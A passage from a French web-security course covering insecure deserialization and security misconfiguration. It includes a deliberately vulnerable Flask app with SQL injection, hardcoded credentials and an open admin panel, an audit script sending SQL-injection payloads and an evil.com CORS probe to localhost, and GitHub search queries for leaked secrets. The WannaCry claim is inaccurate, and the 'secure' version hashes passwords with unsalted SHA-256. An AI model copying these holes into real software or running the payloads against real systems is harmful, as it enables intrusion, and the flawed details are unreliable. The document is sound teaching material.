  background: rgba(0, 0, 0, 0.1);
  padding: 2px 6px;
  border-radius: 3px;
  font-family: 'Courier New', monospace;
}

.warning-box {
  background: #ffebee;
  border-left: 4px solid #f44336;
  padding: 1rem;
  margin-top: 1rem;
  border-radius: 4px;
  color: #c62828;
  font-weight: bold;
}

.vulnerability-explanation {
  background: #f5f5f5;
  padding: 1.5rem;
  border-radius: 8px;
  margin-top: 1.5rem;
}

.vulnerability-explanation h3 {
  color: #333;
  margin-bottom: 1rem;
}

.vulnerability-explanation pre {
  background: #2d2d2d;
  color: #f8f8f2;
  padding: 1rem;
  border-radius: 6px;
  overflow-x: auto;
  font-family: 'Courier New', monospace;
  font-size: 0.9rem;
}

.create-section,
.import-section {
  background: white;
  padding: 2rem;
  border-radius: 16px;
  margin-bottom: 2rem;
  box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
}

.create-section h2,
.import-section h2 {
  color: #667eea;
  margin-bottom: 1.5rem;
}

.create-section form,
.import-section form {
  display: flex;
  flex-direction: column;
  gap: 1rem;
}

.create-section input,
.create-section textarea,
.create-section select,
.import-section textarea {
  padding: 1rem;
  border: 2px solid #ddd;
  border-radius: 8px;
  font-size: 1rem;
  font-family: inherit;
}

.create-section button,
.import-section button {
  background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
  color: white;
  border: none;
  padding: 1rem;
  border-radius: 8px;
  cursor: pointer;
  font-size: 1.1rem;
  font-weight: bold;
  transition: all 0.3s;
}

.create-section button:hover,
.import-section button:hover {
  transform: translateY(-3px);
  box-shadow: 0 4px 12px rgba(102, 126, 234, 0.4);
}

.notes-section {
  background: white;
  padding: 2rem;
  border-radius: 16px;
  box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
}

.notes-section h2 {
  color: #667eea;
  margin-bottom: 1.5rem;
}

.notes-grid {
  display: grid;
  grid-template-columns: repeat(auto-fill, minmax(250px, 1fr));
  gap: 1.5rem;
}

.note {
  padding: 1.5rem;
  border-radius: 12px;
  box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
  transition: transform 0.3s;
}

.note:hover {
  transform: translateY(-5px) rotate(1deg);
}

.note h3 {
  margin-bottom: 0.5rem;
  color: #333;
}

.note p {
  color: #666;
  line-height: 1.6;
}

.note-yellow {
  background: #fff9c4;
  border-left: 5px solid #fbc02d;
}

.note-blue {
  background: #e3f2fd;
  border-left: 5px solid #1976d2;
}

.note-green {
  background: #e8f5e9;
  border-left: 5px solid #388e3c;
}

.note-pink {
  background: #fce4ec;
  border-left: 5px solid #c2185b;
}

@media (max-width: 768px) {
  .notes-grid {
    grid-template-columns: 1fr;
  }
}
```

---

### PARTIE E : VERSION SÉCURISÉE

```python
# notes_app_secure.py
from flask import Flask, request, jsonify, session
from flask_cors import CORS
import json

app = Flask(__name__)
app.secret_key = 'secure_random_key_change_me'
CORS(app, supports_credentials=True)

def validate_note(note):
    """
    [OK] Validation stricte de la structure d'une note
    """
    if not isinstance(note, dict):
        raise ValueError("Note doit être un dictionnaire")
    
    required_keys = {'title', 'content'}
    if not required_keys.issubset(note.keys()):
        raise ValueError("Clés manquantes")
    
    if not isinstance(note['title'], str) or len(note['title']) > 200:
        raise ValueError("Titre invalide")
    
    if not isinstance(note['content'], str) or len(note['content']) > 5000:
        raise ValueError("Contenu invalide")
    
    allowed_colors = {'yellow', 'blue', 'green', 'pink'}
    if 'color' in note and note['color'] not in allowed_colors:
        raise ValueError("Couleur invalide")
    
    return True

# [OK] ROUTE SÉCURISÉE : Sauvegarder une note
@app.route('/api/notes', methods=['POST'])
def save_note_secure():
    """
    Version sécurisée avec JSON
    """
    data = request.json
    note = {
        'title': data.get('title'),
        'content': data.get('content'),
        'color': data.get('color', 'yellow')
    }
    
    # [OK] Validation
    try:
        validate_note(note)
    except ValueError as e:
        return jsonify({"error": str(e)}), 400
    
    # [OK] SÉCURISÉ : JSON au lieu de pickle
    if 'notes' not in session:
        session['notes'] = []
    
    session['notes'].append(note)  # JSON directement
    session.modified = True
    
    return jsonify({"success": True, "note_count": len(session['notes'])})

# [OK] ROUTE SÉCURISÉE : Charger les notes
@app.route('/api/notes', methods=['GET'])
def load_notes_secure():
    """
    Charge les notes (JSON, pas pickle)
    """
    notes = session.get('notes', [])
    return jsonify(notes)

# [OK] ROUTE SÉCURISÉE : Importer des notes
@app.route('/api/import-notes', methods=['POST'])
def import_notes_secure():
    """
    Importe des notes au format JSON uniquement
    """
    data = request.json
    
    # [OK] SÉCURISÉ : JSON.parse au lieu de pickle.loads
    try:
        imported_notes = json.loads(data.get('data'))
    except json.JSONDecodeError:
        return jsonify({"error": "Format JSON invalide"}), 400
    
    if not isinstance(imported_notes, list):
        return jsonify({"error": "Données doivent être une liste"}), 400
    
    # [OK] Valider chaque note
    for note in imported_notes:
        try:
            validate_note(note)
        except ValueError as e:
            return jsonify({"error": f"Note invalide: {str(e)}"}), 400
    
    if 'notes' not in session:
        session['notes'] = []
    
    session['notes'].extend(imported_notes)
    session.modified = True
    
    return jsonify({"success": True, "imported_count": len(imported_notes)})

if __name__ == '__main__':
    print("[SECURITE]  Application de notes SÉCURISÉE sur http://localhost:5001")
    print("[OK] Protection : JSON au lieu de pickle")
    app.run(debug=True, port=5001)
```

---

## [GRAPHIQUE] RÉCAPITULATIF INSECURE DESERIALIZATION

### [OK] Protections essentielles

| Protection | Efficacité | Facilité |
|-----------|-----------|----------|
| Utiliser JSON | ***** | [OK] Facile |
| Validation stricte | ***** | [OK] Facile |
| YAML safe_load | **** | [OK] Facile |
| Signature HMAC | *** | [ATTENTION] Moyen |
| Sandbox/isolation | **** | [ATTENTION] Complexe |

---

### [X] Erreurs communes

- [X] Utiliser pickle sur données externes
- [X] PHP unserialize() sur input utilisateur
- [X] yaml.load() au lieu de yaml.safe_load()
- [X] Pas de validation après désérialisation
- [X] Faire confiance aux données sérialisées

---

*(Je continue avec Security Misconfiguration, Broken Access Control, etc. ?)*

# 6. SECURITY MISCONFIGURATION

## [DOCS] THÉORIE APPROFONDIE

### Qu'est-ce que Security Misconfiguration ?

**Définition :**
Erreurs de configuration qui exposent des vulnérabilités. C'est quand une application, un serveur, ou un framework est **mal configuré**, laissant des portes ouvertes aux attaquants.

**Analogie simple :**

Imagine que tu achètes une porte blindée ultra-sécurisée pour ta maison, mais que tu laisses :
- La clé sous le paillasson [CLE]
- La fenêtre ouverte [WINDOW]
- Le code de sécurité sur un post-it collé sur la porte [NOTE]

-> La porte blindée ne sert à rien si tout le reste est mal configuré !

---

### Types de Security Misconfiguration

#### 1. **Mode Debug activé en production**

**Code vulnérable :**

```python
# [X] DANGEREUX en production
from flask import Flask

app = Flask(__name__)
app.config['DEBUG'] = True  # [X] Debug activé !

if __name__ == '__main__':
    app.run(debug=True, host='0.0.0.0')  # [X] Accessible de partout !
```

**Conséquences :**
- Affiche des **stack traces détaillées** avec code source
- Console Python interactive dans le navigateur ! (Werkzeug Debugger)
- Révèle la structure de l'application
- Permet l'exécution de code arbitraire

**Exemple de stack trace exposée :**

```
Traceback (most recent call last):
  File "/app/routes.py", line 45, in transfer
    user = User.query.get(user_id)
  File "/venv/lib/python3.9/site-packages/sqlalchemy/...", line 123
    ...
sqlalchemy.exc.OperationalError: (sqlite3.OperationalError) no such table: users
[SQL: SELECT * FROM users WHERE id = ?]
[parameters: (1,)]
```

**Informations révélées :**
- [OK] Structure de la base de données (table `users`)
- [OK] Chemin des fichiers (`/app/routes.py`)
- [OK] Librairies utilisées (SQLAlchemy, sqlite3)
- [OK] Code source partiel

---

#### 2. **Credentials par défaut**

**Exemples courants :**

```bash
# Base de données
Username: admin
Password: admin

# Panel admin
Username: administrator
Password: password123

# Router
Username: admin
Password: admin (ou vide)

# MongoDB sans authentification
mongodb://localhost:27017 (pas de password !)
```

**Cas réel : Ransomware WannaCry (2017)**
- Exploitait des systèmes Windows avec credentials par défaut
- 300,000+ machines infectées
- $4 milliards de dommages

---

#### 3. **Informations sensibles dans le code**

**Code vulnérable :**

```python
# [X] DANGER : Secrets hardcodés
AWS_ACCESS_KEY = "AKIAIOSFODNN7EXAMPLE"
AWS_SECRET_KEY = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"
DATABASE_URL = "postgresql://admin:SuperSecret123@prod-db.company.com:5432/production"
API_KEY = "sk-1234567890abcdef"

# [X] Pusher sur GitHub -> TOUT LE MONDE peut voir !
```

**Conséquences :**
- Accès à l'infrastructure AWS
- Accès direct à la base de données de production
- Utilisation abusive de l'API

**Recherche GitHub :**
```
"AWS_SECRET_KEY" extension:py
"api_key" extension:js password
"mongodb://" password
```

-> Des milliers de secrets exposés !

---

#### 4. **Répertoires listables**

**Configuration Apache vulnérable :**

```apache
# [X] DANGEREUX
<Directory /var/www/html>
    Options Indexes FollowSymLinks  # [X] "Indexes" = listage activé !
    AllowOverride None
    Require all granted
</Directory>
```

**Résultat :**

```
http://site.com/uploads/
-> Liste TOUS les fichiers :
   - confidential_report.pdf
   - employee_salaries.xlsx
   - passwords_backup.txt
   - private_keys/
```

---

#### 5. **Headers de sécurité manquants**

```python
# [X] Pas de headers de sécurité
@app.route('/page')
def page():
    return render_template('page.html')
    # Pas de X-Frame-Options
    # Pas de CSP
    # Pas de HSTS
```

---

#### 6. **Erreurs verbales**

**Code vulnérable :**

```python
@app.route('/login', methods=['POST'])
def login():
    username = request.form.get('username')
    password = request.form.get('password')
    
    user = User.query.filter_by(username=username).first()
    
    if not user:
        # [X] Erreur trop précise !
        return "Utilisateur n'existe pas", 401
    
    if not user.check_password(password):
        # [X] Erreur trop précise !
        return "Mot de passe incorrect", 401
```

**Problème :** L'attaquant sait maintenant que le username existe ! Il peut faire du brute-force sur le password.

**[OK] Version sécurisée :**

```python
if not user or not user.check_password(password):
    # [OK] Message générique
    return "Identifiants invalides", 401
```

---

#### 7. **CORS mal configuré**

**Code vulnérable :**

```python
from flask_cors import CORS

# [X] DANGEREUX : Autorise TOUS les domaines !
CORS(app, origins="*", supports_credentials=True)
```

**Conséquences :**
- N'importe quel site peut faire des requêtes à votre API
- Contourne la protection Same-Origin Policy
- Permet les attaques CSRF

---

#### 8. **Versions obsolètes**

```bash
# Vérifier les versions
pip list --outdated

# Exemple de librairies vulnérables
Flask==0.12.2   # Vulnérable à CVE-2018-1000656
Django==1.11.0  # Vulnérable à CVE-2019-12781
```

---

### Impact de Security Misconfiguration

| Erreur | Impact | Exemple |
|--------|--------|---------|
| **Debug mode** | CRITIQUE | RCE via console debug |
| **Credentials par défaut** | CRITIQUE | Accès complet système |
| **Secrets exposés** | CRITIQUE | Vol de données, crypto-mining |
| **Répertoires listables** | Élevé | Fuite de données |
| **Headers manquants** | Moyen | Clickjacking, XSS |
| **Erreurs verbales** | Faible | Énumération d'utilisateurs |

---

### Cas réels

**1. Equifax (2017)**
- **Erreur :** Apache Struts non mis à jour (CVE-2017-5638)
- **Impact :** 147 millions de dossiers volés
- **Cause :** Patch de sécurité disponible mais pas appliqué

**2. Capital One (2019)**
- **Erreur :** Configuration AWS incorrecte (WAF)
- **Impact :** 106 millions de clients exposés
- **Cause :** Firewall mal configuré

**3. MongoDB exposées (2017-2018)**
- **Erreur :** Instances MongoDB sans authentification
- **Impact :** 93 millions de comptes Mexicains, 200 millions Chinois
- **Cause :** Configuration par défaut sans password

---

### Comment se protéger ?

#### [OK] **1. Désactiver le mode debug en production**

```python
import os
from flask import Flask

app = Flask(__name__)

# [OK] Debug seulement en développement
app.config['DEBUG'] = os.environ.get('FLASK_ENV') == 'development'

if __name__ == '__main__':
    # [OK] Ne pas exposer sur 0.0.0.0 en production
    host = '127.0.0.1' if os.environ.get('FLASK_ENV') == 'development' else '0.0.0.0'
    app.run(host=host, debug=False)
```

**Utiliser des variables d'environnement :**

```bash
# .env (ne JAMAIS committer ce fichier !)
FLASK_ENV=production
SECRET_KEY=random_secure_key_here
DATABASE_URL=postgresql://user:pass@localhost/db
```

```python
from dotenv import load_dotenv
import os

load_dotenv()

app.config['SECRET_KEY'] = os.environ.get('SECRET_KEY')
app.config['SQLALCHEMY_DATABASE_URI'] = os.environ.get('DATABASE_URL')
```

---

#### [OK] **2. Headers de sécurité**

```python
@app.after_request
def add_security_headers(response):
    """Ajoute tous les headers de sécurité essentiels"""
    
    # Strict-Transport-Security (HSTS)
    response.headers['Strict-Transport-Security'] = 'max-age=31536000; includeSubDomains'
    
    # Content-Security-Policy
    response.headers['Content-Security-Policy'] = (
        "default-src 'self'; "
        "script-src 'self'; "
        "style-src 'self' 'unsafe-inline'; "
        "img-src 'self' data: https:; "
        "font-src 'self'; "
        "connect-src 'self'; "
        "frame-ancestors 'none'; "
        "base-uri 'self'; "
        "form-action 'self';"
    )
    
    # X-Content-Type-Options
    response.headers['X-Content-Type-Options'] = 'nosniff'
    
    # X-Frame-Options
    response.headers['X-Frame-Options'] = 'DENY'
    
    # X-XSS-Protection
    response.headers['X-XSS-Protection'] = '1; mode=block'
    
    # Referrer-Policy
    response.headers['Referrer-Policy'] = 'strict-origin-when-cross-origin'
    
    # Permissions-Policy
    response.headers['Permissions-Policy'] = (
        'geolocation=(), '
        'microphone=(), '
        'camera=()'
    )
    
    return response
```

---

#### [OK] **3. Gestion sécurisée des secrets**

**Utiliser un gestionnaire de secrets :**

```python
# AWS Secrets Manager
import boto3
from botocore.exceptions import ClientError

def get_secret(secret_name):
    """Récupère un secret depuis AWS Secrets Manager"""
    client = boto3.client('secretsmanager', region_name='us-east-1')
    
    try:
        response = client.get_secret_value(SecretId=secret_name)
        return response['SecretString']
    except ClientError as e:
        raise e

# Utilisation
db_password = get_secret('production/db/password')
```

**Ou utiliser des fichiers .env avec python-dotenv :**

```bash
# .env (ajouter à .gitignore !)
SECRET_KEY=very_random_secret_key_change_me
DATABASE_URL=postgresql://user:pass@localhost:5432/db
AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCY
```

```python
from dotenv import load_dotenv
import os

load_dotenv()

SECRET_KEY = os.environ.get('SECRET_KEY')
DATABASE_URL = os.environ.get('DATABASE_URL')
```

---

#### [OK] **4. Désactiver le listing de répertoires**

**Apache :**

```apache
# [OK] SÉCURISÉ
<Directory /var/www/html>
    Options -Indexes FollowSymLinks  # [OK] Pas de listing
    AllowOverride None
    Require all granted
</Directory>
```

**Nginx :**

```nginx
# [OK] SÉCURISÉ
location / {
    autoindex off;  # [OK] Désactiver le listing
}
```

---

#### [OK] **5. CORS stricte**

```python
from flask_cors import CORS

# [OK] SÉCURISÉ : Origines spécifiques uniquement
CORS(app, 
     origins=['https://myapp.com', 'https://www.myapp.com'],
     supports_credentials=True,
     methods=['GET', 'POST'],
     allow_headers=['Content-Type', 'Authorization'])
```

---

#### [OK] **6. Gestion des erreurs**

```python
# [OK] Gestionnaire d'erreurs personnalisé
@app.errorhandler(404)
def not_found(error):
    # Ne pas révéler de détails
    return render_template('404.html'), 404

@app.errorhandler(500)
def internal_error(error):
    # Logger l'erreur mais ne pas l'afficher
    app.logger.error(f'Server Error: {error}')
    
    # Message générique
    return render_template('500.html'), 500

# [OK] Désactiver les tracebacks en production
if not app.debug:
    app.config['PROPAGATE_EXCEPTIONS'] = False
```

---

#### [OK] **7. Audit de sécurité régulier**

**Outils automatisés :**

```bash
# Scan des dépendances vulnérables
pip install safety
safety check

# Analyse statique du code
pip install bandit
bandit -r . -f json -o security_report.json

# Scan des secrets
pip install truffleHog
trufflehog --regex --entropy=False .

# Analyse des headers HTTP
curl -I https://mysite.com | grep -E "X-|Content-Security"
```

**Checklist manuelle :**

```bash
[ ] Mode debug désactivé en production
[ ] Secrets dans variables d'environnement (pas hardcodés)
[ ] Headers de sécurité configurés
[ ] HTTPS activé avec certificat valide
[ ] CORS configuré strictement
[ ] Authentification forte (pas de credentials par défaut)
[ ] Logging activé (mais pas de données sensibles loggées)
[ ] Mises à jour régulières des dépendances
[ ] Firewall configuré
[ ] Répertoires non listables
[ ] Fichiers sensibles protégés (.git, .env, config.py)
```

---

## [CODE] EXERCICE 8 : AUDIT DE SÉCURITÉ

### Objectif

Créer une application **volontairement mal configurée** et effectuer un audit complet.

---

### PARTIE A : APPLICATION MAL CONFIGURÉE

```python
# insecure_app.py
from flask import Flask, render_template, request, jsonify
from flask_cors import CORS
import sqlite3
import os

app = Flask(__name__)

# [X] ERREUR 1 : Debug activé en production
app.config['DEBUG'] = True

# [X] ERREUR 2 : Secret key faible
app.config['SECRET_KEY'] = 'dev'

# [X] ERREUR 3 : CORS trop permissif
CORS(app, origins="*", supports_credentials=True)

# [X] ERREUR 4 : Credentials hardcodés
DB_USER = 'admin'
DB_PASSWORD = 'password123'
AWS_KEY = 'AKIAIOSFODNN7EXAMPLE'
AWS_SECRET = 'wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY'

def init_db():
    """Initialise la base de données"""
    conn = sqlite3.connect('app.db')
    cursor = conn.cursor()
    
    cursor.execute('''
        CREATE TABLE IF NOT EXISTS users (
            id INTEGER PRIMARY KEY,
            username TEXT,
            password TEXT,
            role TEXT
        )
    ''')
    
    # [X] ERREUR 5 : Mot de passe en clair
    cursor.execute("INSERT INTO users VALUES (1, 'admin', 'admin123', 'admin')")
    cursor.execute("INSERT INTO users VALUES (2, 'user', 'user123', 'user')")
    
    conn.commit()
    conn.close()

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/config')
def show_config():
    """
    [X] ERREUR 6 : Endpoint exposant la configuration
    """
    return jsonify({
        'DEBUG': app.config['DEBUG'],
        'SECRET_KEY': app.config['SECRET_KEY'],
        'DB_USER': DB_USER,
        'DB_PASSWORD': DB_PASSWORD,
        'AWS_KEY': AWS_KEY
    })

@app.route('/admin')
def admin_panel():
    """
    [X] ERREUR 7 : Panel admin sans authentification
    """
    return """
    <h1>Admin Panel</h1>
    <p>Database: app.db</p>
    <p>Server: Ubuntu 20.04</p>
    <p>Python: 3.9.7</p>
    <a href="/config">View Configuration</a>
    """

@app.route('/login', methods=['POST'])
def login():
    username = request.json.get('username')
    password = request.json.get('password')
    
    conn = sqlite3.connect('app.db')
    cursor = conn.cursor()
    
    # [X] ERREUR 8 : SQL Injection
    query = f"SELECT * FROM users WHERE username='{username}' AND password='{password}'"
    cursor.execute(query)
    
    user = cursor.fetchone()
    conn.close()
    
    if user:
        # [X] ERREUR 9 : Messages d'erreur trop verbaux
        return jsonify({"success": True, "user_id": user[0], "role": user[3]})
    else:
        # [X] Révèle si l'utilisateur existe
        cursor = conn.cursor()
        cursor.execute(f"SELECT * FROM users WHERE username='{username}'")
        if cursor.fetchone():
            return jsonify({"error": "Mot de passe incorrect"}), 401
        else:
            return jsonify({"error": "Utilisateur n'existe pas"}), 401

@app.route('/error-test')
def error_test():
    """
    [X] ERREUR 10 : Traceback exposé
    """
    # Provoque une erreur pour voir le traceback
    undefined_variable = some_undefined_var
    return "OK"

# [X] ERREUR 11 : Pas de headers de sécurité
# (aucun @app.after_request pour ajouter les headers)

if __name__ == '__main__':
    init_db()
    print("[ATTENTION]  Application MAL CONFIGURÉE sur http://localhost:5000")
    
    # [X] ERREUR 12 : Exposition sur toutes les interfaces
    app.run(host='0.0.0.0', port=5000, debug=True)
```

---

### PARTIE B : SCRIPT D'AUDIT AUTOMATISÉ

```python
# security_audit.py
import requests
import json
from colorama import Fore, Style, init

init(autoreset=True)

TARGET_URL = 'http://localhost:5000'

def print_header(text):
    print(f"\n{Fore.CYAN}{'='*80}{Style.RESET_ALL}")
    print(f"{Fore.CYAN}{text.center(80)}{Style.RESET_ALL}")
    print(f"{Fore.CYAN}{'='*80}{Style.RESET_ALL}\n")

def print_vulnerability(title, severity, description, proof=""):
    """Affiche une vulnérabilité trouvée"""
    severity_colors = {
        'CRITIQUE': Fore.RED,
        'ÉLEVÉ': Fore.MAGENTA,
        'MOYEN': Fore.YELLOW,
        'FAIBLE': Fore.BLUE
    }
    
    color = severity_colors.get(severity, Fore.WHITE)
    
    print(f"{color}[{severity}] {title}{Style.RESET_ALL}")
    print(f"  -> {description}")
    if proof:
        print(f"  -> Preuve: {proof}")
    print()

def check_debug_mode():
    """Vérifie si le mode debug est activé"""
    print_header("TEST 1: Mode Debug")
    
    try:
        response = requests.get(f'{TARGET_URL}/error-test')
        
        if 'Werkzeug' in response.text or 'Traceback' in response.text:
            print_vulnerability(
                "Mode Debug Activé",
                "CRITIQUE",
                "L'application expose des stack traces détaillées",
                "Werkzeug Debugger détecté dans la réponse"
            )
            return True
        else:
            print(f"{Fore.GREEN}[OK] Mode debug non détecté{Style.RESET_ALL}\n")
            return False
    except Exception as e:
        print(f"{Fore.RED}[X] Erreur lors du test: {e}{Style.RESET_ALL}\n")
        return False

def check_exposed_config():
    """Vérifie si la configuration est exposée"""
    print_header("TEST 2: Configuration Exposée")
    
    endpoints = ['/config', '/api/config', '/.env', '/settings']
    
    found = False
    for endpoint in endpoints:
        try:
            response = requests.get(f'{TARGET_URL}{endpoint}')
            if response.status_code == 200:
                data = response.json() if 'application/json' in response.headers.get('Content-Type', '') else response.text
                
                # Chercher des secrets
                secrets_found = []
                if isinstance(data, dict):
                    if 'SECRET_KEY' in data:
                        secrets_found.append(f"SECRET_KEY: {data['SECRET_KEY']}")
                    if 'DB_PASSWORD' in data:
                        secrets_found.append(f"DB_PASSWORD: {data['DB_PASSWORD']}")
                    if 'AWS_KEY' in data:
                        secrets_found.append(f"AWS_KEY: {data['AWS_KEY']}")
                
                if secrets_found:
                    print_vulnerability(
                        f"Configuration Exposée sur {endpoint}",
                        "CRITIQUE",
                        "Des secrets sont accessibles publiquement",
                        ", ".join(secrets_found)
                    )
                    found = True
        except:
            pass
    
    if not found:
        print(f"{Fore.GREEN}[OK] Aucune configuration exposée détectée{Style.RESET_ALL}\n")

def check_security_headers():
    """Vérifie la présence des headers de sécurité"""
    print_header("TEST 3: Headers de Sécurité")
    
    try:
        response = requests.get(TARGET_URL)
        headers = response.headers
        
        required_headers = {
            'Strict-Transport-Security': 'HSTS',
            'X-Frame-Options': 'Protection Clickjacking',
            'X-Content-Type-Options': 'Protection MIME Sniffing',
            'Content-Security-Policy': 'CSP',
            'X-XSS-Protection': 'Protection XSS',
            'Referrer-Policy': 'Contrôle Referrer'
        }
        
        missing_headers = []
        for header, description in required_headers.items():
            if header not in headers:
                missing_headers.append(f"{header} ({description})")
        
        if missing_headers:
            print_vulnerability(
                "Headers de Sécurité Manquants",
                "MOYEN",
                "Plusieurs headers de sécurité sont absents",
                "\n".join([f"    - {h}" for h in missing_headers])
            )
        else:
            print(f"{Fore.GREEN}[OK] Tous les headers de sécurité sont présents{Style.RESET_ALL}\n")
            
    except Exception as e:
        print(f"{Fore.RED}[X] Erreur lors du test: {e}{Style.RESET_ALL}\n")

def check_sql_injection():
    """Teste la vulnérabilité SQL Injection"""
    print_header("TEST 4: SQL Injection")
    
    payloads = [
        "admin' OR '1'='1",
        "' OR 1=1--",
        "admin'--"
    ]
    
    for payload in payloads:
        try:
            response = requests.post(
                f'{TARGET_URL}/login',
                json={'username': payload, 'password': 'anything'},
                headers={'Content-Type': 'application/json'}
            )
            
            if response.status_code == 200 and 'success' in response.json():
                print_vulnerability(
                    "SQL Injection Détectée",
                    "CRITIQUE",
                    "L'endpoint /login est vulnérable à l'injection SQL",
                    f"Payload réussi: {payload}"
                )
                return
        except:
            pass
    
    print(f"{Fore.GREEN}[OK] Aucune injection SQL détectée{Style.RESET_ALL}\n")

def check_cors():
    """Vérifie la configuration CORS"""
    print_header("TEST 5: Configuration CORS")
    
    try:
        response = requests.get(
            TARGET_URL,
            headers={'Origin': 'https://evil.com'}
        )
        
        acao = response.headers.get('Access-Control-Allow-Origin')
        
        if acao == '*':
            print_vulnerability(
                "CORS Trop Permissif",
                "ÉLEVÉ",
                "L'API accepte les requêtes de n'importe quelle origine",
                f"Access-Control-Allow-Origin: {acao}"
            )
        elif acao == 'https://evil.com':
            print_vulnerability(
                "CORS Réfléchit l'Origine",
                "ÉLEVÉ",
                "L'API réfléchit automatiquement l'origine de la requête",
                "Configuration CORS dangereuse"
            )
        else:
            print(f"{Fore.GREEN}[OK] Configuration CORS semble correcte{Style.RESET_ALL}\n")
            
    except Exception as e:
        print(f"{Fore.RED}[X] Erreur lors du test: {e}{Style.RESET_ALL}\n")

def check_admin_access():
    """Vérifie l'accès au panel admin"""
    print_header("TEST 6: Accès Admin Non Protégé")
    
    endpoints = ['/admin', '/administrator', '/admin-panel', '/dashboard']
    
    found = False
    for endpoint in endpoints:
        try:
            response = requests.get(f'{TARGET_URL}{endpoint}')
            if response.status_code == 200 and 'admin' in response.text.lower():
                print_vulnerability(
                    f"Panel Admin Accessible sur {endpoint}",
                    "CRITIQUE",
                    "Le panel d'administration est accessible sans authentification",
                    f"URL: {TARGET_URL}{endpoint}"
                )
                found = True
        except:
            pass
    
    if not found:
        print(f"{Fore.GREEN}[OK] Aucun panel admin non protégé détecté{Style.RESET_ALL}\n")

def generate_report():
    """Génère un rapport complet"""
    print_header("RAPPORT D'AUDIT DE SÉCURITÉ")
    
    print(f"{Fore.YELLOW}Cible: {TARGET_URL}{Style.RESET_ALL}")
    print(f"{Fore.YELLOW}Date: {__import__('datetime').datetime.now().strftime('%Y-%m-%d %H:%M:%S')}{Style.RESET_ALL}\n")
    
    # Exécuter tous les tests
    check_debug_mode()
    check_exposed_config()
    check_security_headers()
    check_sql_injection()
    check_cors()
    check_admin_access()
    
    print_header("FIN DE L'AUDIT")
    print(f"{Fore.CYAN}Consultez les résultats ci-dessus pour sécuriser votre application.{Style.RESET_ALL}\n")

if __name__ == '__main__':
    print(f"""
{Fore.CYAN}╔═══════════════════════════════════════════════════════════════════════╗
║                    OUTIL D'AUDIT DE SÉCURITÉ                          ║
║                                                                       ║
║  Cet outil teste les vulnérabilités de configuration courantes       ║
╚═══════════════════════════════════════════════════════════════════════╝{Style.RESET_ALL}
    """)
    
    generate_report()
```

**Installer les dépendances :**

```bash
pip install requests colorama
```

---

### PARTIE C : LANCER L'AUDIT

**1. Démarrer l'application vulnérable :**

```bash
python insecure_app.py
```

**2. Lancer l'audit :**

```bash
python security_audit.py
```

**Résultat attendu :**

```
╔═══════════════════════════════════════════════════════════════════════╗
║                    OUTIL D'AUDIT DE SÉCURITÉ                          ║
║                                                                       ║
║  Cet outil teste les vulnérabilités de configuration courantes       ║
╚═══════════════════════════════════════════════════════════════════════╝

================================================================================
                              TEST 1: Mode Debug                               
================================================================================

[CRITIQUE] Mode Debug Activé
  -> L'application expose des stack traces détaillées
  -> Preuve: Werkzeug Debugger détecté dans la réponse

================================================================================
                          TEST 2: Configuration Exposée                        
================================================================================

[CRITIQUE] Configuration Exposée sur /config
  -> Des secrets sont accessibles publiquement
  -> Preuve: SECRET_KEY: dev, DB_PASSWORD: password123, AWS_KEY: AKIAIOSFODNN7EXAMPLE

================================================================================
                         TEST 3: Headers de Sécurité                           
================================================================================

[MOYEN] Headers de Sécurité Manquants
  -> Plusieurs headers de sécurité sont absents
  -> Preuve:
    - Strict-Transport-Security (HSTS)
    - X-Frame-Options (Protection Clickjacking)
    - X-Content-Type-Options (Protection MIME Sniffing)
    - Content-Security-Policy (CSP)
    - X-XSS-Protection (Protection XSS)
    - Referrer-Policy (Contrôle Referrer)

... (etc.)
```

---

### PARTIE D : VERSION SÉCURISÉE

```python
# secure_app.py
from flask import Flask, render_template, request, jsonify, session
from flask_cors import CORS
import sqlite3
import os
from dotenv import load_dotenv
import hashlib
import secrets

# [OK] Charger les variables d'environnement
load_dotenv()

app = Flask(__name__)

# [OK] Configuration sécurisée
app.config['DEBUG'] = False  # [OK] Debug désactivé
app.config['SECRET_KEY'] = os.environ.get('SECRET_KEY', secrets.token_hex(32))

# [OK] CORS stricte
CORS(app, 
     origins=['https://myapp.com'],
     supports_credentials=True,
     methods=['GET', 'POST'])

# [OK] Secrets dans variables d'environnement
DB_USER = os.environ.get('DB_USER')
DB_PASSWORD = os.environ.get('DB_PASSWORD')
AWS_KEY = os.environ.get('AWS_ACCESS_KEY_ID')
AWS_SECRET = os.environ.get('AWS_SECRET_ACCESS_KEY')

def hash_password(password):
    """[OK] Hash les mots de passe"""
    return hashlib.sha256(password.encode()).hexdigest()

def init_db():
    """Initialise la base de données"""
    conn = sqlite3.connect('app.db')
    cursor = conn.cursor()
    
    cursor.execute('''
        CREATE TABLE IF NOT EXISTS users (
            id INTEGER PRIMARY KEY,
            username TEXT UNIQUE,
            password_hash TEXT,
            role TEXT
        )
    ''')
    
    # [OK] Mots de passe hachés
    try:
        cursor.execute(
            "INSERT INTO users VALUES (?, ?, ?, ?)",
            (1, 'admin', hash_password('AdminSecure2024!'), 'admin')
        )
        cursor.execute(
            "INSERT INTO users VALUES (?, ?, ?, ?)",
            (2, 'user', hash_password('UserSecure2024!'), 'user')
        )
    except sqlite3.IntegrityError:
        pass  # Utilisateurs déjà créés
    
    conn.commit()
    conn.close()

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/admin')
def admin_panel():
    """
    [OK] Panel admin protégé
    """
    if not session.get('is_admin'):
        return "Accès interdit", 403
    
    return render_template('admin.html')

@app.route('/login', methods=['POST'])
def login():
    username = request.json.get('username')
    password = request.json.get('password')
    
    conn = sqlite3.connect('app.db')
    conn.row_factory = sqlite3.Row
    cursor = conn.cursor()
    
    # [OK] Requête préparée (protection SQL Injection)
    cursor.execute(
        "SELECT * FROM users WHERE username = ?",
        (username,)
    )
    
    user = cursor.fetchone()
    conn.close()
    
    # [OK] Vérifier le hash du mot de passe
    if user and user['password_hash'] == hash_password(password):
        session['user_id'] = user['id']
        session['is_admin'] = (user['role'] == 'admin')
        
        return jsonify({"success": True})
    else:
        # [OK] Message générique
